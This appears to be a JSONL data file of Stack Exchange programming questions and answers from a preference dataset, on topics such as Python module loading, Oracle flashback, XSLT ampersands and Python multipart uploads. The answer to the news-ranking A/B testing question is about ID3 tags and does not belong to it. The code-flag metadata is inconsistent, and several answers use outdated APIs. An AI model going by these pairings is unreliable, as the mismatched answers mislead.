{"id": "hf_8e50427146a7", "question": "<p>How do I load a Python module given its full path?</p>\n<p>Note that the file can be anywhere in the filesystem where the user has access rights.</p>\n<hr />\n<p><sub><strong>See also:</strong> <a href=\"https://stackoverflow.com/questions/301134\">How to import a module given its name as string?</a></sub></p>\n", "question_body": "", "answer": "I believe you can use\n```\nimp.find_module()\n```\nand\n```\nimp.load_module()\n```\nto load the specified module.  You'll need to split the module name off of the path, i.e. if you wanted to load\n```\n/home/mypath/mymodule.py\n```\nyou'd need to do:\n```\n```\nimp.find_module('mymodule', '/home/mypath/')\n```\n```\n...but that should get the job done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.990317"}
{"id": "hf_0b5c11f87d2a", "question": "<p>I'm looking for a way to extract the audio part of a FLV file. </p>\n\n<p>I'm recording from the user's microphone and the audio is encoded using the <a href=\"http://en.wikipedia.org/wiki/Nellymoser_Asao_Codec\" rel=\"nofollow noreferrer\">Nellymoser Asao Codec</a>. This is the default codec and there's no way to change this.</p>\n", "question_body": "", "answer": "This isn't an exact answer, but some relevant notes I've made from investigating FLV files for a business requirement.\nMost FLV audio is encoded in the MP3 format, meaning you can extract it directly from the FLV container. If the FLV was created from someone recording from their microphone, the audio is encoded with the Nellymoser Asao codec, which is proprietary (IIRC).\nI'd check out\nlibavcodec\n, which handles FLV/MP3/Nellymoser natively, and should let you get to the audio.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.025513"}
{"id": "hf_30510768fc9b", "question": "<p>Using Oracle 10g with our testing server what is the most efficient/easy way to backup and restore a database to a static point, assuming that you always want to go back to the given point once a backup has been created.</p>\n\n<p>A sample use case would be the following</p>\n\n<ol>\n<li>install and configure all software</li>\n<li>Modify data to the base testing point</li>\n<li>take a backup somehow (this is part of the question, how to do this)</li>\n<li>do testing</li>\n<li>return to step 3 state (restore back to backup point, this is the other half of the question)</li>\n</ol>\n\n<p><strong>Optimally this would be completed through sqlplus or rman or some other scriptable method.</strong></p>\n", "question_body": "", "answer": "You could use a feature in Oracle called\nFlashback\nwhich allows you to create a restore point, which you can easily jump back to after you've done testing.\nQuoted from the site,\nFlashback Database is like a 'rewind\n  button' for your database. It provides\n  database point in time recovery\n  without requiring a backup of the\n  database to first be restored. When\n  you eliminate the time it takes to\n  restore a database backup from tape,\n  database point in time recovery is\n  fast.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.048888"}
{"id": "hf_6ce4f826a30b", "question": "<p>How can I use .NET DataSet.Select method to search records that match a DateTime?\nWhat format should I use to enter my dates in?</p>\n", "question_body": "", "answer": "The best method is dd MMM yyyy (ie 15 Sep 2008). This means there is no possiblity of getting it wrong for different Locals.\n```\n```\nds.select(DBDate = '15 Sep 2008')\n```\n```\nYou can use the DateFormat function to convert to long date format as well and this will work fine too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.072377"}
{"id": "hf_63bcf2e57e63", "question": "<p>In Google Reader, you can use a bookmarklet to \"note\" a page you're visiting. When you press the bookmarklet, a little Google form is displayed on top of the current page. In the form you can enter a description, etc. When you press Submit, the form submits itself without leaving the page, and then the form disappears. All in all, a very smooth experience.</p>\n\n<p>I obviously tried to take a look at how it's done, but the most interesting parts are minified and unreadable. So...</p>\n\n<p>Any ideas on how to implement something like this (on the browser side)? What issues are there? Existing blog posts describing this?</p>\n", "question_body": "", "answer": "At it's very basic level it will be using\n```\ncreateElement\n```\nto create the elements to insert into the page and\n```\nappendChild\n```\nor\n```\ninsertBefore\n```\nto insert them into the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.143083"}
{"id": "hf_a09c957db5dc", "question": "<p>I'd like to experiment with burn-down and planning game with the team I'm on.  People on my team are interested in making it happen, however I'm sure someone has done this before and has learned some lessons we hopefully don't have to repeat.  Does anyone know of an example Excel (or other tool) template available for burn-down or planning game activities?</p>\n", "question_body": "", "answer": "This MSDN Blog article\nHas quite a good review of using burndowns in combination with Cumulative Flow Diagrams which fleshes out the diagrams even more. In the resources links at the bottom of the article there is a\nlink to the Microsoft Scrum kit\nwhich has a pre-built excel file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.228742"}
{"id": "hf_88a1cad7d9f1", "question": "<p>If I add 3-400 databases to a single SQL Server instance will I encounter scaling issues introduced by the large number of databases?</p>\n", "question_body": "", "answer": "This is one of those questions best answered by: Why are you trying to do this in the first place? What is the concurrency against those databases? Are you generating databases when you could have normalized tables to do the same functionality?\nThat said, yes MSSQL 2005 will handle that level of database per installation. It will more or less be what you are doing with the databases which will seriously impede your performance (incoming connections, CPU usage, etc.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.251999"}
{"id": "hf_6f61123db5bf", "question": "<p>In php, how can I get the number of apache children that are currently available <br>(<code>status = SERVER_READY</code> in the apache scoreboard)?</p>\n\n<p>I'm really hoping there is a simple way to do this in php that I am missing.</p>\n", "question_body": "", "answer": "You could execute a shell command of\n```\nps aux | grep httpd\n```\nor\n```\nps aux | grep apache\n```\nand count the number of lines in the output.\n```\n```\nexec('ps aux | grep apache', $output);\n$processes = count($output);\n```\n```\nI'm not sure which status in the status column indicates that it's ready to accept a connection, but you can filter against that to get a count of ready processes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.314672"}
{"id": "hf_71a7a67eaa53", "question": "<p>I am trying to create a query string of variable assignments separated by the <code>&amp;</code> symbol (ex: <code>\"var1=x&amp;var2=y&amp;...\"</code>). I plan to pass this string into an embedded flash file.</p>\n\n<p>I am having trouble getting an <code>&amp;</code> symbol to show up in XSLT. If I just type <code>&amp;</code> with no tags around it, there is a problem rendering the XSLT document. If I type <code>&amp;amp;</code> with no tags around it, then the output of the document is <code>&amp;amp;</code> with no change. If I type <code>&lt;xsl:value-of select=\"&amp;\" /&gt;</code> or <code>&lt;xsl:value-of select=\"&amp;amp;\" /&gt;</code> I also get an error. Is this possible? Note: I have also tried <code>&amp;amp;amp;</code> with no success.</p>\n", "question_body": "", "answer": "Use\n```\ndisable-output-escaping=\"yes\"\n```\nin your\n```\nvalue-of\n```\ntag", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.361735"}
{"id": "hf_6bc28341758d", "question": "<p>I have an application that runs as a child application in a virtual directory.</p>\n\n<p>I want to pass a value from the parent application, but I believe that Session is keyed per application, and won't work.</p>\n\n<p>To further complicate things, the parent application is WebForms, while the child is NVelocity MVC.</p>\n\n<p>Does anyone know a trick that allows me to use some sort of Session type functionality between virtual applications?</p>\n\n<p>EDIT: A webservice isn't really what I had in mind, all I need to do is pass the logged in users username to the child app. Besides, if calling a webservice back on the parent, I won't get the same session, so I won't know what user.</p>\n", "question_body": "", "answer": "Sounds like web service is the way to go. You could do something like the following:\nHave the WebForms app create some data in its database with a key of some kind associated to it.\nPass that key in the URL to the NVelocity MVC application.\nAllow the NVMVC application to call a web service (REST,XML-RPC,SOAP,whatever) on the WebForms app using the key that was passed.\nThis will get around any kind of session keying or cookie-domain problem you may have and allow you to pass some nicely structured data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.396986"}
{"id": "hf_596ec1207da5", "question": "<p>I'm writing a web app that points to external links. I'm looking to create a non-sequential, non-guessable id for each document that I can use in the URL. I did the obvious thing: treating the url as a string and str#crypt on it, but that seems to choke on any non-alphanumberic characters, like the slashes, dots and underscores.</p>\n\n<p>Any suggestions on the best way to solve this problem?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Use\nDigest::MD5\nfrom Ruby's standard library:\n```\n```\nDigest::MD5.hexdigest(my_url)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.420868"}
{"id": "hf_184d1a47c85b", "question": "<p>I need to pass a UUID instance via http request parameter. Spring needs a custom type converter (from String) to be registered. How do I register one?</p>\n", "question_body": "", "answer": "Not sure what you are asking?\nSpring comes with a\nCustomEditorConfigurer\nto supply custom String <-> Object converters.\nTo use this, just add the CustomEditorConfigurer as bean to your config, and add the custom converters. However, these converters are typically used when converting string attributes in the config file into real objects.\nIf you are using Spring MVC, then take a look at the section on\nannotated MVC\nSpecifically, have a look at the\n@RequestParam\nand the\n@ModelAttribute\nannotations?\nHope this helps?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.502226"}
{"id": "hf_b00c67e7cdaa", "question": "<p>If I have a Resource bundle property file:</p>\n\n<p>A.properties:</p>\n\n<pre><code>thekey={0} This is a test\n</code></pre>\n\n<p>And then I have java code that loads the resource bundle:</p>\n\n<pre><code>ResourceBundle labels = ResourceBundle.getBundle(\"A\", currentLocale);\nlabels.getString(\"thekey\");\n</code></pre>\n\n<p>How can I replace the {0} text with some value</p>\n\n<pre><code>labels.getString(\"thekey\", \"Yes!!!\");\n</code></pre>\n\n<p>Such that the output comes out as:</p>\n\n<pre><code>Yes!!! This is a test.\n</code></pre>\n\n<p>There are no methods that are part of Resource Bundle to do this.  Also, I am in Struts, is there some way to use MessageProperties to do the replacement.</p>\n", "question_body": "", "answer": "The class you're looking for is java.text.MessageFormat; specifically, calling\n```\n```\nMessageFormat.format(\"{0} This {1} a test\", new Object[] {\"Yes!!!\", \"is\"});\n```\n```\nor\n```\n```\nMessageFormat.format(\"{0} This {1} a test\", \"Yes!!!\", \"is\");\n```\n```\nwill return\n```\n```\n\"Yes!!! This is a test\"\n```\n```\n[Unfortunately, I can't help with the Struts connection, although\nthis\nlooks relevant.]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.566215"}
{"id": "hf_93aa63e26214", "question": "<p>Let's say that on the C++ side my function takes a variable of type <code>jstring</code> named <code>myString</code>. I can convert it to an ANSI string as follows:</p>\n\n<pre><code>const char* ansiString = env-&gt;GetStringUTFChars(myString, 0);\n</code></pre>\n\n<p>is there a way of getting</p>\n\n<p><code>const wchar_t* unicodeString =</code> ...</p>\n", "question_body": "", "answer": "A portable and robust solution is to use\niconv\n, with the understanding that you have to know what encoding your system\n```\nwchar_t\n```\nuses (UTF-16 on Windows, UTF-32 on many Unix systems, for example).\nIf you want to minimise your dependency on third-party code, you can also hand-roll your own UTF-8 converter. This is easy if converting to UTF-32, somewhat harder with UTF-16 because you have to handle surrogate pairs too. :-P Also, you must be careful to reject\nnon-shortest\nforms, or it can open up security bugs in some cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.601184"}
{"id": "hf_65c82cc4ffff", "question": "<p>I'm using BlogEngine.NET (a fine, fine tool) and I was playing with the TinyMCE editor and noticed that there's a place for me to create a list of external links, but it has to be a javascript file:</p>\n\n<p><code>external_link_list_url : \"example_link_list.js\"</code></p>\n\n<p>this is great, of course, but the list of links I want to use needs to be generated dynamically from the database. This means that I need to create this JS file from the server on page load.  Does anyone know of a way to do this? Ideally, I'd like to just overwrite this file each time the editor is accessed.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "If you can't change the file extension (and just return plain text, the caller shouldn't care about the file extension, js is plain text) then you can set up a handler on IIS (assuming it's IIS) to handle javascript files.\nSee this link -\nhttp://msdn.microsoft.com/en-us/library/bb515343.aspx\n-  for how to setup IIS 6 within windows to handle any file extension. Then setup a HttpHandler to receive requests for .js (Just google httphandler and see any number of good tutorials like this one:\nhttp://www.devx.com/dotnet/Article/6962/0/page/3\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.624151"}
{"id": "hf_4ce1b76d7379", "question": "<p>I need to use XmlRpc in C++ on a Windows platform.  Despite the fact that my friends assure me that XmlRpc is a \"widely available standard technology\", there are not many libraries available for it.  In fact I only found one library to do this on Windows, (plus another one that claims \"you'll have to do a lot of work to get this to compile on Windows).  The library I found was Chris Morley's \"XmlRpc++\".  However, it doesn't have support for SSL.</p>\n\n<p>My question therefore is:  what library should I be using?  </p>\n", "question_body": "", "answer": "There are dozens of implementations of the XML-RPC\nimplementations\n, some in C++, but most in other languages. For example, besides XmlRpc++ there is also\nXML-RPC for C and C++\n. Here is a\nHOWTO\non how the XML-RPC for C and C++ library can be used.\nThe XML-RPC specification is somewhat simple and it would not be difficult to implement your own XML-RPC client. Not to mention, it would also be possible to take an existing XML-RPC implementation in C and bring into your C++ project.\nThe XML-RPC\nhome page\nalso provides a lot of useful information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.717022"}
{"id": "hf_fccd9467d9b6", "question": "<p>What I currently do is I link the project to another location and give it the same name, then check the box where it says \"Branch after share.\" \nAnd then I would Check out the shared project and work off it. And finally merge with the original project.</p>\n\n<p>This works okay, but it feels very clunky: I have multiple instances of the project on my drive; I have to change physical address of the website (i use asp.net 1.1) every time I work on a different branch; </p>\n\n<p>That doesn't feel like the right way to do it. How do you branch your projects with VSS?</p>\n", "question_body": "", "answer": "I think the way you describe in the question is the only way you can do it in sourceSafe.\nI usually name the copied directory \"V1.0\" (or whatever is appropriate) and keep them all in a folder that is the main project name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.786998"}
{"id": "hf_20ad944f1f9c", "question": "<p>Has anyone successfully implemented a Java based solution that uses Microsoft SQL Server 2005 Reporting Services?  Reporting Services comes with a set of Web Services that allow you to control the creation of a report, execution of a report, etc and I am just starting development on a POC of this integration.  A couple of choices I have yet to make is whether I want to use Axis2 for the wsdl-to-java functionality or use WebLogic's clientgen (wsdl 2 java) solution.  I guess I can also use JAX-WS and wsimport.  Before I dive into this, I wanted to see if anyone was doing this successfully with one of the many options available. </p>\n\n<p>In the past, I've had a few issues on how null/blank/empty's are handled between .NET and Java web-services and I just wanted to see if this had come up as an issue with SSRS and Java integration.  Thanks</p>\n", "question_body": "", "answer": "My experience with RS would lead me to suggest you go with just about anything else. I think the web services portion would work fine but I'd be concerned about how RS manages memory and how many reports you need to be running at once before making any decisions. I'm fighting with memory management problems today with RS and even on top of the line hardware it's hard to run large reports (large number of rows returned and a wide result set).\nThat being said if you think RS can handle your usage then it might be good. The development environment is sort of nice and it's easy to understand and lay out reports. The table layout paradigm it has is pretty good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.833201"}
{"id": "hf_0aa4a20fae86", "question": "<p>I am new to ActionScript 3 and have run into a problem:</p>\n\n<p>Using Flex Builder 3, I have a created a project with a few simple classes. If code in class A instantiates an object of class B (class B is in its own source file) then the code compiles fine, but I get the following run time error:</p>\n\n<blockquote>\n  <p>ArgumentError: Error #2012: B class cannot be instantiated.</p>\n</blockquote>\n\n<p>Can someone explain what I'm doing wrong?</p>\n\n<p><strong>Update:</strong> Please see my own answer below (I could not vote it to the top since I'm not yet registered).</p>\n", "question_body": "", "answer": "This usually means that the class information was not included in the SWF.\nMake sure that you are importing the class, and that there is a reference to it somewhere (so the compiler will included it in the SWF).\nbtw, here are the runtime error codes:\nhttp://livedocs.adobe.com/flex/201/langref/runtimeErrors.html\n(not much useful info though)\nmike chambers\nmesh@adobe.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.880557"}
{"id": "hf_b370f5bbd79f", "question": "<p>When defining a method on a class in Python, it looks something like this:</p>\n\n<pre><code>class MyClass(object):\n    def __init__(self, x, y):\n        self.x = x\n        self.y = y\n</code></pre>\n\n<p>But in some other languages, such as C#, you have a reference to the object that the method is bound to with the \"this\" keyword without declaring it as an argument in the method prototype.  </p>\n\n<p>Was this an intentional language design decision in Python or are there some implementation details that require the passing of \"self\" as an argument?</p>\n", "question_body": "", "answer": "It's to minimize the difference between methods and functions. It allows you to easily generate methods in metaclasses, or add methods at runtime to pre-existing classes.\ne.g.\n```\n```\n>>> class C:\n...     def foo(self):\n...         print(\"Hi!\")\n...\n>>>\n>>> def bar(self):\n...     print(\"Bork bork bork!\")\n...\n>>>\n>>> c = C()\n>>> C.bar = bar\n>>> c.bar()\nBork bork bork!\n>>> c.foo()\nHi!\n>>>\n```\n```\nIt also (as far as I know) makes the implementation of the python runtime easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.921646"}
{"id": "hf_ce43c8ed9ac6", "question": "<p>If you were running a news site that created a list of 10 top news stories, and you wanted to make tweaks to your algorithm and see if people liked the new top story mix better, how would you approach this? </p>\n\n<p>Simple Click logging in the DB associated with the post entry? </p>\n\n<p>A/B testing where you would show one version of the algorithm togroup A and another to group B and measure the clicks?  </p>\n\n<p>What sort of characteristics would you base your decision on as to whether the changes were better? </p>\n", "question_body": "", "answer": "TagLib Sharp\nhas support for reading ID3 tags.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.956810"}
{"id": "hf_20c395993312", "question": "<p>More and more mobile devices are consuming content on my eCommerce sites.  IPhones, Blackberries, PSPs, Windows Mobile, etc and I need some ideas how to handle repurposing my data using CSS templates for these devices.  Any ideas would be great. </p>\n", "question_body": "", "answer": "I recommend you look at what Delta Airlines does with CSS at\nhttp://mobile.delta.com\n.  They get help from a company called MShift who does a bunch of mobile banking (which, obviously, has to work on many different devices).\nYou can get some inspiration from the stylesheet used by the Delta site with\nhttps://my.mshift.com/deltacss.css\n.\nFinally, there are a long list of demo mobile sites from MShift at\nhttp://www.mshift.com/demo.html\n.\nFWIW, I don't have any association with either Delta or MShift, I have just admired their mobile UI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:25.995464"}
{"id": "hf_ca96ad67e3dd", "question": "<p>Working on a project at the moment and we have to implement soft deletion for the majority of users (user roles). We decided to add an <code>is_deleted='0'</code> field on each table in the database and set it to <code>'1'</code> if particular user roles hit a delete button on a specific record.</p>\n\n<p>For future maintenance now, each <code>SELECT</code> query will need to ensure they do not include records <code>where is_deleted='1'</code>.</p>\n\n<p>Is there a better solution for implementing soft deletion?</p>\n\n<p>Update: I should also note that we have an Audit database that tracks changes (field, old value, new value, time, user, ip) to all tables/fields within the Application database.</p>\n", "question_body": "", "answer": "You could perform all of your queries against a view that contains the\n```\nWHERE IS_DELETED='0'\n```\nclause.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.018767"}
{"id": "hf_d3be7e17d6bd", "question": "<p>I create a new Button object but did not specify the <code>command</code> option upon creation. Is there a way in Tkinter to change the command (onclick) function after the object has been created?</p>\n", "question_body": "", "answer": "Sure; just use the\n```\nbind\n```\nmethod to specify the callback after the button has been created.  I've just written and tested the example below.  You can find a nice tutorial on doing this at\nhttp://www.pythonware.com/library/tkinter/introduction/events-and-bindings.htm\n```\n```\nfrom Tkinter import Tk, Button\n\nroot = Tk()\nbutton = Button(root, text=\"Click Me!\")\nbutton.pack()\n\ndef callback(event):\n    print \"Hello World!\"\n\nbutton.bind(\"<Button-1>\", callback)\nroot.mainloop()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.041504"}
{"id": "hf_6d138997c9a6", "question": "<p>From the Displays pane in System Preferences, I can manually change the main monitor by dragging the menu bar from one display to the other. I'd like to automate this and make it part of an AppleScript.</p>\n", "question_body": "", "answer": "Much like you can tell System Events.app to sleep your Mac, you can tell Image Events.app to mess with your displays.  The Image Events application provides a \"displays\" collection.  Each display has a \"profile\" with lots of goodies.  However, everything I just mentioned is read-only, so I don't have a good way to do it from within script.\nYou might have better luck in Automator – Hit record, run System Preferences, go to Displays, drag the menu bar to the other screen, and hit stop.  I bet something will work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.163005"}
{"id": "hf_99939870a976", "question": "<p>Using the svnmerge.py tool it is possible to merge between branches, up and down.  It is hard to find the details for doing this.  Hopefully, v1.5 will have a neat method for doing this without using svnmerge.py - details requested!</p>\n", "question_body": "", "answer": "It looks like you're asking about 1.5 merge tracking.  Here's a quick overview for doing merges to/from trunk (or another branch):\nhttp://blog.red-bean.com/sussman/?p=92", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.186296"}
{"id": "hf_c7f217e1fb2c", "question": "<p>I am completely on board with the ideas behind TDD, Refactoring and Patterns however it does seem like there is a huge gaping whole in these ideas, mainly that they are great for dev teams of 1, but when you start refactoring code that 10 people are working on you start getting merge conflicts all over the place and most diff/merge software can't tell that you refactored a function into its own class.</p>\n\n<p>How do you clean up your code, by refactoring, without causing major headaches for everyone on your team?</p>\n", "question_body": "", "answer": "Well, in practice it is rarely an issue.  Usually the different team members are working on different areas of the code, so there is no conflict.  Also, the bulk of the refactoring will go in when you are doing your TDD (which might even be before you check your code in, but most definitely before others start using and modifying it).\nIf you find you are conflicting a lot due to refactorings, try checking in more frequently, or let people know who might be working on the same code that you are about to do some major rework.  Communication always helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.221442"}
{"id": "hf_0ea8cc362ef8", "question": "<p>Is there a way to send a file using POST from a Python script?</p>\n", "question_body": "", "answer": "Yes. You'd use the\n```\nurllib2\n```\nmodule, and encode using the\n```\nmultipart/form-data\n```\ncontent type. Here is some sample code to get you started -- it's a bit more than just file uploading, but you should be able to read through it and see how it works:\n```\n```\nuser_agent = \"image uploader\"\ndefault_message = \"Image $current of $total\"\n\nimport logging\nimport os\nfrom os.path import abspath, isabs, isdir, isfile, join\nimport random\nimport string\nimport sys\nimport mimetypes\nimport urllib2\nimport httplib\nimport time\nimport re\n\ndef random_string (length):\n    return ''.join (random.choice (string.letters) for ii in range (length + 1))\n\ndef encode_multipart_data (data, files):\n    boundary = random_string (30)\n\n    def get_content_type (filename):\n        return mimetypes.guess_type (filename)[0] or 'application/octet-stream'\n\n    def encode_field (field_name):\n        return ('--' + boundary,\n                'Content-Disposition: form-data; name=\"%s\"' % field_name,\n                '', str (data [field_name]))\n\n    def encode_file (field_name):\n        filename = files [field_name]\n        return ('--' + boundary,\n                'Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"' % (field_name, filename),\n                'Content-Type: %s' % get_content_type(filename),\n                '', open (filename, 'rb').read ())\n\n    lines = []\n    for name in data:\n        lines.extend (encode_field (name))\n    for name in files:\n        lines.extend (encode_file (name))\n    lines.extend (('--%s--' % boundary, ''))\n    body = '\\r\\n'.join (lines)\n\n    headers = {'content-type': 'multipart/form-data; boundary=' + boundary,\n               'content-length': str (len (body))}\n\n    return body, headers\n\ndef send_post (url, data, files):\n    req = urllib2.Request (url)\n    connection = httplib.HTTPConnection (req.get_host ())\n    connection.request ('POST', req.get_selector (),\n                        *encode_multipart_data (data, files))\n    response = connection.getresponse ()\n    logging.debug ('response = %s', response.read ())\n    logging.debug ('Code: %s %s', response.status, response.reason)\n\ndef make_upload_file (server, thread, delay = 15, message = None,\n                      username = None, email = None, password = None):\n\n    delay = max (int (delay or '0'), 15)\n\n    def upload_file (path, current, total):\n        assert isabs (path)\n        assert isfile (path)\n\n        logging.debug ('Uploading %r to %r', path, server)\n        message_template = string.Template (message or default_message)\n\n        data = {'MAX_FILE_SIZE': '3145728',\n                'sub': '',\n                'mode': 'regist',\n                'com': message_template.safe_substitute (current = current, total = total),\n                'resto': thread,\n                'name': username or '',\n                'email': email or '',\n                'pwd': password or random_string (20),}\n        files = {'upfile': path}\n\n        send_post (server, data, files)\n\n        logging.info ('Uploaded %r', path)\n        rand_delay = random.randint (delay, delay + 5)\n        logging.debug ('Sleeping for %.2f seconds------------------------------\\n\\n', rand_delay)\n        time.sleep (rand_delay)\n\n    return upload_file\n\ndef upload_directory (path, upload_file):\n    assert isabs (path)\n    assert isdir (path)\n\n    matching_filenames = []\n    file_matcher = re.compile (r'\\.(?:jpe?g|gif|png)$', re.IGNORECASE)\n\n    for dirpath, dirnames, filenames in os.walk (path):\n        for name in filenames:\n            file_path = join (dirpath, name)\n            logging.debug ('Testing file_path %r', file_path)\n            if file_matcher.search (file_path):\n                matching_filenames.append (file_path)\n            else:\n                logging.info ('Ignoring non-image file %r', path)\n\n    total_count = len (matching_filenames)\n    for index, file_path in enumerate (matching_filenames):\n        upload_file (file_path, index + 1, total_count)\n\ndef run_upload (options, paths):\n    upload_file = make_upload_file (**options)\n\n    for arg in paths:\n        path = abspath (arg)\n        if isdir (path):\n            upload_directory (path, upload_file)\n        elif isfile (path):\n            upload_file (path)\n        else:\n            logging.error ('No such path: %r' % path)\n\n    logging.info ('Done!')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.244520"}
